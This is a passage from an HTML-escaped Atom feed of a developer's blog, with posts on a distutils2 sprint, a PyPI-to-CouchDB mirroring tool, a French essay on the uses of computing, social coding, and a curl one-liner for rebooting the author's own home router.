&lt;span class="c1"&gt;# Check that we actually found it&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$DBUS_SESSION_BUS_ADDRESS&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Failed to find bus address&amp;quot;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="c1"&gt;# export it so that child processes will inherit it&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt; DBUS_SESSION_BUS_ADDRESS
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And it comes from &lt;a class="reference external" href="http://ubuntuforums.org/showthread.php?p=10148738#post10148738"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A sync takes about 20s + the upload time on my machine, which stay acceptable for
all of my developments.&lt;/p&gt;
&lt;/div&gt;
</content><category term="freebsd"></category><category term="unison"></category></entry><entry><title>Wrap up of the distutils2 paris' sprint</title><link href="https://blog.notmyidea.org/wrap-up-of-the-distutils2-paris-sprint.html" rel="alternate"></link><published>2011-02-08T00:00:00+01:00</published><updated>2011-02-08T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-02-08:/wrap-up-of-the-distutils2-paris-sprint.html</id><summary type="html">&lt;p&gt;Finally, thanks to a bunch of people that helped me to pay my train and bus
tickets, I've made it to paris for the distutils2 sprint.&lt;/p&gt;
&lt;p&gt;They have been a bit more than 10 people to come during the sprint, and it was
very productive. Here's a taste of what …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Finally, thanks to a bunch of people that helped me to pay my train and bus
tickets, I've made it to paris for the distutils2 sprint.&lt;/p&gt;
&lt;p&gt;They have been a bit more than 10 people to come during the sprint, and it was
very productive. Here's a taste of what we've been working on:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;the &lt;cite&gt;datafiles&lt;/cite&gt;, a way to specify and to handle the installation of files which
are not python-related (pictures, manpages and so on).&lt;/li&gt;
&lt;li&gt;&lt;cite&gt;mkgcfg&lt;/cite&gt;, a tool to help you to create a setup.cfg in minutes (and with funny
examples)&lt;/li&gt;
&lt;li&gt;converters from setup.py scripts. We do now have a piece of code which
reads your current &lt;cite&gt;setup.py&lt;/cite&gt; file and fill in some fields in the &lt;cite&gt;setup.cfg&lt;/cite&gt;
for you.&lt;/li&gt;
&lt;li&gt;a compatibility layer for distutils1, so it can read the &lt;cite&gt;setup.cfg&lt;/cite&gt; you will
wrote for distutils2 :-)&lt;/li&gt;
&lt;li&gt;the uninstaller, so it's now possible to uninstall what have been installed
by distutils2 (see PEP 376)&lt;/li&gt;
&lt;li&gt;the installer, and the setuptools compatibility layer, which will allow you
to rely on setuptools' based distributions (and there are plenty of them!)&lt;/li&gt;
&lt;li&gt;The compilers, so they are more flexible than they were. Since that's an
obscure part of the code for distutils2 commiters (it comes directly from the
distutils1 ages), having some guys who understood the problematics here was
a must.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some people have also tried to port their packaging from distutils1 to
distutils2. They have spotted a number of bugs and made some improvements
to the code, to make it more friendly to use.&lt;/p&gt;
&lt;p&gt;I'm really pleased to see how newcomers went trough the code, and started
hacking so fast. I must say it wasn't the case when we started to work on
distutils1 so that's a very good point: people now can hack the code quicker
than they could before.&lt;/p&gt;
&lt;p&gt;Some of the features here are not &lt;em&gt;completely&lt;/em&gt; finished yet, but are on the
tubes, and will be ready for a release (hopefully) at the end of the week.&lt;/p&gt;
&lt;p&gt;Big thanks to logilab for hosting (and sponsoring my train ticket) and
providing us food, and to bearstech for providing some money for breakfast and
bears^Wbeers.&lt;/p&gt;
&lt;p&gt;Again, a big thanks to all the people who gave me money to pay the transport,
I really wasn't expecting such thing to happen :-)&lt;/p&gt;
</content></entry><entry><title>PyPI on CouchDB</title><link href="https://blog.notmyidea.org/pypi-on-couchdb.html" rel="alternate"></link><published>2011-01-20T00:00:00+01:00</published><updated>2011-01-20T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-01-20:/pypi-on-couchdb.html</id><summary type="html">&lt;p&gt;By now, there are two ways to retrieve data from PyPI (the Python Package
Index). You can both rely on xml/rpc or on the &amp;quot;simple&amp;quot; API. The simple
API is not so simple to use as the name suggest, and have several existing
drawbacks.&lt;/p&gt;
&lt;p&gt;Basically, if you want to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;By now, there are two ways to retrieve data from PyPI (the Python Package
Index). You can both rely on xml/rpc or on the &amp;quot;simple&amp;quot; API. The simple
API is not so simple to use as the name suggest, and have several existing
drawbacks.&lt;/p&gt;
&lt;p&gt;Basically, if you want to use informations coming from the simple API, you will
have to parse web pages manually, to extract informations using some black
vodoo magic. Badly, magic have a price, and it's sometimes impossible to get
exactly the informations you want to get from this index. That's the technique
currently being used by distutils2, setuptools and pip.&lt;/p&gt;
&lt;p&gt;On the other side, while XML/RPC is working fine, it's requiring extra work
to the python servers each time you request something, which can lead to
some outages from time to time. Also, it's important to point out that, even if
PyPI have a mirroring infrastructure, it's only for the so-called &lt;em&gt;simple&lt;/em&gt; API,
and not for the XML/RPC.&lt;/p&gt;
&lt;div class="section" id="couchdb"&gt;
&lt;h2&gt;CouchDB&lt;/h2&gt;
&lt;p&gt;Here comes CouchDB. CouchDB is a document oriented database, that
knows how to speak REST and JSON. It's easy to use, and provides out of the box
a replication mechanism.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="so-what"&gt;
&lt;h2&gt;So, what ?&lt;/h2&gt;
&lt;p&gt;Hmm, I'm sure you got it. I've wrote a piece of software to link informations from
PyPI to a CouchDB instance. Then you can replicate all the PyPI index with only
one HTTP request on the CouchDB server. You can also access the informations
from the index directly using a REST API, speaking json. Handy.&lt;/p&gt;
&lt;p&gt;So PyPIonCouch is using the PyPI XML/RPC API to get data from PyPI, and
generate records in the CouchDB instance.&lt;/p&gt;
&lt;p&gt;The final goal is to avoid to rely on this &amp;quot;simple&amp;quot; API, and rely on a REST
insterface instead. I have set up a couchdb server on my server, which is
available at &lt;a class="reference external" href="http://couchdb.notmyidea.org/_utils/database.html?pypi"&gt;http://couchdb.notmyidea.org/_utils/database.html?pypi&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There is not a lot to
see there for now, but I've done the first import from PyPI yesterday and all
went fine: it's possible to access the metadata of all PyPI projects via a REST
interface. Next step is to write a client for this REST interface in
distutils2.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="example"&gt;
&lt;h2&gt;Example&lt;/h2&gt;
&lt;p&gt;For now, you can use pypioncouch via the command line, or via the python API.&lt;/p&gt;
&lt;div class="section" id="using-the-command-line"&gt;
&lt;h3&gt;Using the command line&lt;/h3&gt;
&lt;p&gt;You can do something like that for a full import. This &lt;strong&gt;will&lt;/strong&gt; take long,
because it's fetching all the projects at pypi and importing their metadata:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ pypioncouch --fullimport http://your.couchdb.instance/
&lt;/pre&gt;
&lt;p&gt;If you already have the data on your couchdb instance, you can just update it
with the last informations from pypi. &lt;strong&gt;However, I recommend to just replicate
the principal node, hosted at http://couchdb.notmyidea.org/pypi/&lt;/strong&gt;, to avoid
the duplication of nodes:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ pypioncouch --update http://your.couchdb.instance/
&lt;/pre&gt;
&lt;p&gt;The principal node is updated once a day by now, I'll try to see if it's
enough, and ajust with the time.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="using-the-python-api"&gt;
&lt;h3&gt;Using the python API&lt;/h3&gt;
&lt;p&gt;You can also use the python API to interact with pypioncouch:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
&amp;gt;&amp;gt;&amp;gt; from pypioncouch import XmlRpcImporter, import_all, update
&amp;gt;&amp;gt;&amp;gt; full_import()
&amp;gt;&amp;gt;&amp;gt; update()
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="what-s-next"&gt;
&lt;h2&gt;What's next ?&lt;/h2&gt;
&lt;p&gt;I want to make a couchapp, in order to navigate PyPI easily. Here are some of
the features I want to propose:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;List all the available projects&lt;/li&gt;
&lt;li&gt;List all the projects, filtered by specifiers&lt;/li&gt;
&lt;li&gt;List all the projects by author/maintainer&lt;/li&gt;
&lt;li&gt;List all the projects by keywords&lt;/li&gt;
&lt;li&gt;Page for each project.&lt;/li&gt;
&lt;li&gt;Provide a PyPI &amp;quot;Simple&amp;quot; API equivalent, even if I want to replace it, I do
think it will be really easy to setup mirrors that way, with the out of the
box couchdb replication&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I also still need to polish the import mechanism, so I can directly store in
couchdb:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;The OPML files for each project&lt;/li&gt;
&lt;li&gt;The upload_time as couchdb friendly format (list of int)&lt;/li&gt;
&lt;li&gt;The tags as lists (currently it's only a string separated by spaces&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The work I've done by now is available on
&lt;a class="reference external" href="https://bitbucket.org/ametaireau/pypioncouch/"&gt;https://bitbucket.org/ametaireau/pypioncouch/&lt;/a&gt;. Keep in mind that it's still
a work in progress, and everything can break at any time. However, any feedback
will be appreciated !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Help me to go to the distutils2 paris' sprint</title><link href="https://blog.notmyidea.org/help-me-to-go-to-the-distutils2-paris-sprint.html" rel="alternate"></link><published>2011-01-15T00:00:00+01:00</published><updated>2011-01-15T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-01-15:/help-me-to-go-to-the-distutils2-paris-sprint.html</id><summary type="html">&lt;p&gt;&lt;strong&gt;Edit: Thanks to logilab and some amazing people, I can make it to paris for the
sprint. Many thanks to them for the support!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There will be a distutils2 sprint from the 27th to the 30th of january, thanks
to logilab which will host the event.&lt;/p&gt;
&lt;p&gt;You can find more …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Edit: Thanks to logilab and some amazing people, I can make it to paris for the
sprint. Many thanks to them for the support!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There will be a distutils2 sprint from the 27th to the 30th of january, thanks
to logilab which will host the event.&lt;/p&gt;
&lt;p&gt;You can find more informations about the sprint on the wiki page of the event
(&lt;a class="reference external" href="http://wiki.python.org/moin/Distutils/SprintParis"&gt;http://wiki.python.org/moin/Distutils/SprintParis&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;I really want to go there but I'm unfortunately blocked in UK for money reasons.
The cheapest two ways I've found is about £80, which I can't afford.
Following some advices on #distutils, I've set up a ChipIn account for that, so
if some people want to help me making it to go there, they can give me some
money that way.&lt;/p&gt;
&lt;p&gt;I'll probably work on the installer (to support old distutils and
setuptools distributions) and on the uninstaller (depending on the first
task). If I can't make it to paris, I'll hang around on IRC to give some help
while needed.&lt;/p&gt;
&lt;p&gt;If you want to contribute some money to help me go there, feel free to use this
chipin page: &lt;a class="reference external" href="http://ametaireau.chipin.com/distutils2-sprint-in-paris"&gt;http://ametaireau.chipin.com/distutils2-sprint-in-paris&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Thanks for your support !&lt;/p&gt;
</content></entry><entry><title>Quels usages pour l'informatique ?</title><link href="https://blog.notmyidea.org/usages-informatique-fr.html" rel="alternate"></link><published>2011-01-12T00:00:00+01:00</published><updated>2011-01-12T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-01-12:/usages-informatique-fr.html</id><summary type="html">&lt;p&gt;Quand on termine ses études, on s'en pose un tas, des questions. Sur le métier
que l'on veut faire, sur ce que ça signifie, sur le sens et la valeur du
travail. Et j'en suis arrivé à faire un constat simple: l'informatique, c'est
utile, tant que ça ne vient pas …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Quand on termine ses études, on s'en pose un tas, des questions. Sur le métier
que l'on veut faire, sur ce que ça signifie, sur le sens et la valeur du
travail. Et j'en suis arrivé à faire un constat simple: l'informatique, c'est
utile, tant que ça ne vient pas vous pourrir la vie. Oui, parce que de
l'informatique on en a partout, des &amp;quot;geeks&amp;quot; et des &amp;quot;accros&amp;quot; aussi, et que ça
vient s'immiscer dans nos vies même quand d'autres moyens ou médias sont plus
utiles ou pertinents.&lt;/p&gt;
&lt;p&gt;Certes, l'informatique nous permet de communiquer et travailler plus efficacement,
Mais à quel prix ? Ce n'est pas parce qu'il est possible d'&lt;a class="reference external" href="http://retourdactu.fr/2011/11/07/la-non-communication-nouveau-modele-de-societe/"&gt;industrialiser
l'éducation&lt;/a&gt;
(ou l'agriculture !), que l'on doit le faire. Oui, ça me dérange d'être une des
nombreuses personnes à l'œuvre derrière cette soit disant &amp;quot;révolution&amp;quot;, qui
n'est pas toujours pour le meilleur. Attention, je ne remets pas l'informatique
et son intérêt en cause: je me pose des questions quand à la place que je veux
lui donner et la place que je souhaites occuper dans son évolution. Ce n'est
pas parce qu'on peut tuer avec un marteau (avec un peu de volonté) qu'il s'agit
d'un mauvais outil, mais si tout le monde se met à tuer avec des marteaux (y a
des malades partout, hein), alors se poser la question de son rôle, en tant que
fabricant de marteaux me semble nécessaire (oui, je vous l'accorde, on aura vu
des comparaisons plus perspicaces).&lt;/p&gt;
&lt;p&gt;Donc: à partir de quel moment l'informatique cesse d'être un outil utile pour
transformer nos modes de vies d'une manière qui me dérange ? Peut être avec son
arrivée sur des périphériques mobiles ? Peut être quand elle se fait
l'instrument du consumérisme et de l'individualisme.&lt;/p&gt;
&lt;div class="section" id="et-alors-on-fait-quoi"&gt;
&lt;h2&gt;Et alors, on fait quoi ?&lt;/h2&gt;
&lt;p&gt;Mais si je continue à faire de l'informatique, il y a bien des raison. J'ai
d'ailleurs trouvé mon intérêt de par le coté collaboratif qui est permis et
développé par l'outil informatique, et notamment par le réseau des réseaux
(internet). Faisons ensemble, mes amis. Prouvons que la collaboration a de
meilleurs jours à vivre que la compétition. Le web, notamment, est une avancée
majeure en ce qui concerne la liberté d'expression et le partage de
connaissances (oui, kipédia). Je vous conseille d'ailleurs à ce propos
&lt;a class="reference external" href="http://owni.fr/2011/11/30/vers-une-economie-de-la-contribution/"&gt;l'excellent discours tenu par Bernard Stiegler&lt;/a&gt; paru
récemment sur &lt;a class="reference external" href="http://www.owni.fr"&gt;owni&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Et c'est cet avenir qu'il me plait de défendre: l'ouverture d'esprit, la
possibilité que chacun puisse contribuer et participer à une base de savoir
commune, en apprenant des autres. Mais par pitié, n'imposons pas la
technologie là où elle n'est pas nécessaire, et utilisons la avec tact quand
elle peut nous être profitable.&lt;/p&gt;
&lt;p&gt;Il me plait de repenser l'informatique comme outil et non plus comme mode de
vie. Faisons le l'outil de la collaboration. À l'école, apprenons à nos enfants
à collaborer, à susciter le partage, pas uniquement avec l'outil informatique,
mais aussi avec celui ci, tout en leurs apprenant à avoir un regard critique
sur les informations qu'ils reçoivent.&lt;/p&gt;
&lt;p&gt;En bref, questionner le rôle que l'on souhaite avoir dans notre société par le
biais de l'informatique est nécessaire. Comme d'autres, je suis arrivé
à l'informatique par le biais du premier ordinateur familial, il y a de ça une
bonne quinzaine d'années. Ça intrigue, on touche un peu à tout (on en fait des
conneries !) et on finit par apprendre/comprendre comment ça marche, petit
à petit. Cette curiosité n'est d'ailleurs pas le propre de l'informatique
puisqu'on la retrouve dans la cuisine, dans le bricolage et dans un tas de
domaines de notre vie quotidienne.&lt;/p&gt;
&lt;p&gt;Finalement, c'est aimer bidouiller, et comprendre comment ça fonctionne, quitte
à sortir les compétences de leur domaine de prédilection (qui a dit que
l'informatique ne pouvait être artistique ?) Le mouvement hacker (bidouilleurs)
aime à sortir l'informatique de son carcan et l'appliquer ailleurs.&lt;/p&gt;
&lt;p&gt;C'est de cette manière que j'ai envie de considérer mon métier, qui avant tout
est une passion. Je suis un bidouilleur, j'aime découvrir comment les choses
fonctionnent et avoir une panoplie d'outils qui me permettent de répondre à des
besoins réels.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="favoriser-la-collaboration"&gt;
&lt;h2&gt;Favoriser la collaboration&lt;/h2&gt;
&lt;p&gt;Et donc, en tant qu'individu, pourquoi faire de l'informatique ? Qu'est-ce qui
m'attire dans cet outil ?&lt;/p&gt;
&lt;p&gt;Ce qu'on pourrait qualifier de &amp;quot;recherche fondamentale&amp;quot;, l'écriture de
bibliothèques logicielles, est important mais n'est pas tout. Ce qui importe ce
sont les usages qui en découlent. Je souhaite &lt;strong&gt;savoir écrire des outils qui
sont utiles&lt;/strong&gt;, &lt;strong&gt;qui favorisent la collaboration et participent à l'ouverture
des esprits&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Je choisis de faire de l'informatique pour créer les outils qui répondent à des
problématiques réelles, pour trouver de meilleures manières de communiquer et
de travailler ensemble. Mais, comme me le disait David, d'&lt;a class="reference external" href="http://outils-reseaux.org/PresentationProjet"&gt;Outils-Réseaux&lt;/a&gt;, on ne crée pas de la
coopération: rien ne sert d'essayer de faire coopérer des gens qui ne veulent
pas. On peut, cependant, la faciliter, en utilisant les bons outils et en
formant les gens à leur utilisation, ainsi qu'aux pratiques collaboratives
(qui, je le répète, ne s'arrêtent pas du tout aux frontières informatique).&lt;/p&gt;
&lt;p&gt;Le logiciel libre, avant d'être une force pour le marché logiciel, est une
application du partage. Une démonstration qu'il est possible de travailler
ensemble pour fabriquer quelque chose de fonctionnel et d'utile pour tous. Une
sorte d'antithèse de ce modèle capitaliste incarné par les brevets logiciel.&lt;/p&gt;
&lt;p&gt;A plusieurs reprises, j'ai été bluffé par la réalité du logiciel libre. Oui, il
est facile de collaborer lorsqu'on crée un logiciel, pour peu qu'on explique
les tenants et les aboutissants aux participants. Les contributeurs sortent
d'on ne sait où, pour peu que le projet leur soit utile. Je ne parle pas
d'outils &amp;quot;corpo compliant&amp;quot; (bien que ça soit probablement aussi le cas), mais
d'outils que j'ai pu développer pour mon propre usage, et sur lesquels il a été
possible de collaborer avec d'autres.&lt;/p&gt;
&lt;p&gt;Parce que l'informatique est utile dans bien des milieux, parce qu'elle peut
être (et elle l'est) un vecteur de participation et de collaboration, défendons
les valeurs qui nous sont chères (logiciels libres et ouverts!) et construisons
des ponts entre les initiatives qui nous parlent (fermes autogérées,
initiatives d'éducation populaire) et l'informatique.&lt;/p&gt;
&lt;p&gt;Faisons en sorte de rendre l'informatique accessible et utile dans les milieux
ou elle peut apporter quelque chose !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Fork you ! or how the social coding can help you</title><link href="https://blog.notmyidea.org/fork-you-or-how-the-social-coding-can-help-you.html" rel="alternate"></link><published>2010-11-05T00:00:00+01:00</published><updated>2010-11-05T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-11-05:/fork-you-or-how-the-social-coding-can-help-you.html</id><summary type="html">&lt;p&gt;With &lt;a class="reference external" href="http://github.com"&gt;github&lt;/a&gt; and &lt;a class="reference external" href="http://www.bitbucket.org"&gt;bitbucket&lt;/a&gt; coming around, a lot of new usages appears for the
developpers: it's now easy to get feedback on your code/modifications, and to get
help from others by, for instance, forking repositories.&lt;/p&gt;
&lt;p&gt;Eeach time I see people helping others, I'm amazed by how we like to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;With &lt;a class="reference external" href="http://github.com"&gt;github&lt;/a&gt; and &lt;a class="reference external" href="http://www.bitbucket.org"&gt;bitbucket&lt;/a&gt; coming around, a lot of new usages appears for the
developpers: it's now easy to get feedback on your code/modifications, and to get
help from others by, for instance, forking repositories.&lt;/p&gt;
&lt;p&gt;Eeach time I see people helping others, I'm amazed by how we like to share
our knowledge.&lt;/p&gt;
&lt;p&gt;I say github, because it seems to be the more mainstream, but I think it's
something strongly related to the &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Distributed_revision_control"&gt;DVCS&lt;/a&gt; principles: the &amp;quot;only&amp;quot; thing github have
made is to turn that into a social network, and to reveal the awesomeness of the
DVCSes to the masses.&lt;/p&gt;
&lt;p&gt;What is really interesting is to see how this platform is addictive: it's
automatically updating a webpages with the more accurate informations about the
projects you're involved in, and add a bit of magic to that using webhooks,
allowing you to update your website each time you push to you repository, for
instance.&lt;/p&gt;
&lt;p&gt;Quite nothing, indeed, but, I don't know why, I find this fascinating.&lt;/p&gt;
&lt;p&gt;I haven't had the privilege to see my projects forked from github by strangers,
but I've forked others repository to give an hand some times, when I wanted to,
and the main reason is &amp;quot;because it's &lt;strong&gt;fun&lt;/strong&gt;&amp;quot; to do so.&lt;/p&gt;
&lt;p&gt;Yeah, you're probably right, you have to be a nerd to find fun to fork others.
The good point is that geeks are a kind of nerds, and some geeks are coders :)&lt;/p&gt;
&lt;div class="section" id="new-ways-to-contribute"&gt;
&lt;h2&gt;New ways to contribute&lt;/h2&gt;
&lt;p&gt;In addition, it seems that he community, or the communities, are there, on those
new social networks for coders. It's really handy to drop an eye on interesting
projects, to report bugs, propose new features, and check what new projects this
or this person have made.&lt;/p&gt;
&lt;p&gt;Well, &amp;quot;it's not new&amp;quot;, you may think. That's true, because it's been a while that
SVN was there and even CVS before that. But, it was a bit messy to &amp;quot;fork&amp;quot; a
project, isn't it ? And I'm not talking about all the hell SVN involved with it
(who have not had issues with those messy .svn folders raises an hand !).&lt;/p&gt;
&lt;p&gt;It have not been so easy to share code and thoughts about code, to propose
changes on existing code, than now. You think it's better to implement this or
that in a different way ? Clone it (fork it), make your changes and publish
them, and then ask projects owners about it. For sure you'll have answers.&lt;/p&gt;
&lt;p&gt;Even if they don't want it, you can easily keep your changes, and keep getting
their updates!&lt;/p&gt;
&lt;p&gt;Also, lot of &lt;em&gt;fashionables&lt;/em&gt; projects tend to move on DVCS.
Personally, if I know I can fork on a DVCS instead of from a &amp;quot;simple&amp;quot; VCS,
I'll probably be quicker to fork/clone, and to publish changes on my own copy,
than if I had to do so on the upstream repository (and I'll likely dont have
the rights to push to it), because I will not be afraid to break things.&lt;/p&gt;
&lt;p&gt;DVCSes makes the contribution easier.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="release-early-release-often"&gt;
&lt;h2&gt;Release early, release often&lt;/h2&gt;
&lt;p&gt;Maybe have you read &lt;a class="reference external" href="http://www.catb.org/~esr/writings/cathedral-bazaar/"&gt;The cathedral and the bazaar&lt;/a&gt;, by Eric Steven Raymond ?
(If not, consider doing so, it's a really interesting reading)&lt;/p&gt;
&lt;p&gt;Among a lot of others interesting things, one hint he gives is &lt;em&gt;release early,
release often&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I understand it as: if you want to get contributors, release your code early,
even if it's not perfect, and don't be afraid to publish your changes each
time it's needed.&lt;/p&gt;
&lt;p&gt;Without notifying it, that's basically what I was doing for my own projects.
I guess that's because Social coding platforms encourages those practices,
partially cause of the possible impact publishing each of your changes can have
on your final solution.&lt;/p&gt;
&lt;p&gt;If you have considered publishing your projects, code snippets, or whatever
(code related) but did not done it, considering them not yet ready, maybe
should you think about it twice: you can get feedback and probably start some
interesting discussions about it, if you write code that's readable, of course!&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="a-step-further-for-open-source-softwares"&gt;
&lt;h2&gt;A step further for open source softwares&lt;/h2&gt;
&lt;p&gt;Well, DVCSes are a honking great idea, and they're starting to be really
powerful when applied to free softwares. I mean: if you can't see a project,
it will be hard to contribute to it. And, I don't think anyone wants to
contribute to something closed/proprietary, &lt;em&gt;just for fun&lt;/em&gt;. Or maybe am I
missing something.&lt;/p&gt;
&lt;p&gt;Maybe it's a kind of revolution, about free and open source softwares (&lt;a class="reference external" href="http://en.wikipedia.org/wiki/Free_and_open_source_software"&gt;FOSS&lt;/a&gt;),
that is going on. I really like to know I have my word to say about the changes
in the tools I use, and to know that I can make them evolve.&lt;/p&gt;
&lt;p&gt;Let's take an example. Imagine I'm using a web framework on daily basis, as a
part of my job as a web developer. I do like using an open source software
because I know how it's working, and because I know that I can interact with the
authors of the framework while they're doing the changes on it.&lt;/p&gt;
&lt;p&gt;That's communication, nothing more, and of course I can do that with an internal
proprietary solution, but it will cost me &lt;strong&gt;a lot&lt;/strong&gt; more time, for a dead-simple
reason: a company is not as big and powerful as a community can be: it will cost
time to work on this framework, resources to maintain it, fix bugs etc.&lt;/p&gt;
&lt;p&gt;Well, I'm starting advocating here about Free and Open Source Softwares use on
companies, what is a bit beyond the scope of this article, so let's back to
our DVCSes and new social related tools.&lt;/p&gt;
&lt;p&gt;If I find a bug in this framework, while working, I have the possibility to
go and talk with the creators of the framework, to open a ticket, and even to
make a fix for it, because I've access to the source code. If I want to create a
new feature, I just have to fork it, hack it, and then publish my code to have
feedback of the community.&lt;/p&gt;
&lt;p&gt;My fix/work will benefit to all the people (and maybe others companies) working
with this framework, and it's a way to prove the community that my company is
enough skilled to make code-fixes to the framework, so that's all good !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="what-s-next"&gt;
&lt;h2&gt;What's next ?&lt;/h2&gt;
&lt;p&gt;I hope those social coding platforms are only the begining of a new area. I hope
they will make people realize what the power of the community is, and how easily
they can becomes part of it.&lt;/p&gt;
&lt;p&gt;If you're not using them right now, maybe you should do so: have a
look on how the programs you're using are made, consider publishing your
experimentations, and share them with others, you will see, it's kind of
addictive !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>How to reboot your bebox using the CLI</title><link href="https://blog.notmyidea.org/how-to-reboot-your-bebox-using-the-cli.html" rel="alternate"></link><published>2010-10-21T00:00:00+02:00</published><updated>2010-10-21T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-10-21:/how-to-reboot-your-bebox-using-the-cli.html</id><summary type="html">&lt;p&gt;I've an internet connection which, for some obscure reasons, tend to be very
slow from time to time. After rebooting the box (yes, that's a hard solution),
all the things seems to go fine again.&lt;/p&gt;
&lt;div class="section" id="edit-using-grep"&gt;
&lt;h2&gt;EDIT : Using grep&lt;/h2&gt;
&lt;p&gt;After a bit of reflexion, that's also really easy to do using …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;I've an internet connection which, for some obscure reasons, tend to be very
slow from time to time. After rebooting the box (yes, that's a hard solution),
all the things seems to go fine again.&lt;/p&gt;
&lt;div class="section" id="edit-using-grep"&gt;
&lt;h2&gt;EDIT : Using grep&lt;/h2&gt;
&lt;p&gt;After a bit of reflexion, that's also really easy to do using directly the
command line tools curl, grep and tail (but really harder to read).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;curl -X POST -u joel:joel http://bebox.config/cgi/b/info/restart/&lt;span class="se"&gt;\?&lt;/span&gt;be&lt;span class="se"&gt;\=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="se"&gt;\&amp;amp;&lt;/span&gt;l0&lt;span class="se"&gt;\=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="se"&gt;\&amp;amp;&lt;/span&gt;l1&lt;span class="se"&gt;\=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="se"&gt;\&amp;amp;&lt;/span&gt;tid&lt;span class="se"&gt;\=&lt;/span&gt;RESTART -d &lt;span class="s2"&gt;&amp;quot;0=17&amp;amp;2=`curl -u joel:joel http://bebox.config/cgi/b/info/restart/\?be\=0\&amp;amp;l0\=1\&amp;amp;l1\=0\&amp;amp;tid\=RESTART | grep -o &amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2&amp;#39;&lt;/span&gt; &lt;span class="nv"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;-9&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="se"&gt;\+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; | grep -o &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;-9&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="se"&gt;\+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; | tail -n 1`&amp;amp;1&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="the-python-version"&gt;
&lt;h2&gt;The Python version&lt;/h2&gt;
&lt;p&gt;Well, that's not the optimal solution, that's a bit &amp;quot;gruik&amp;quot;, but it works.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;urllib2&lt;/span&gt;
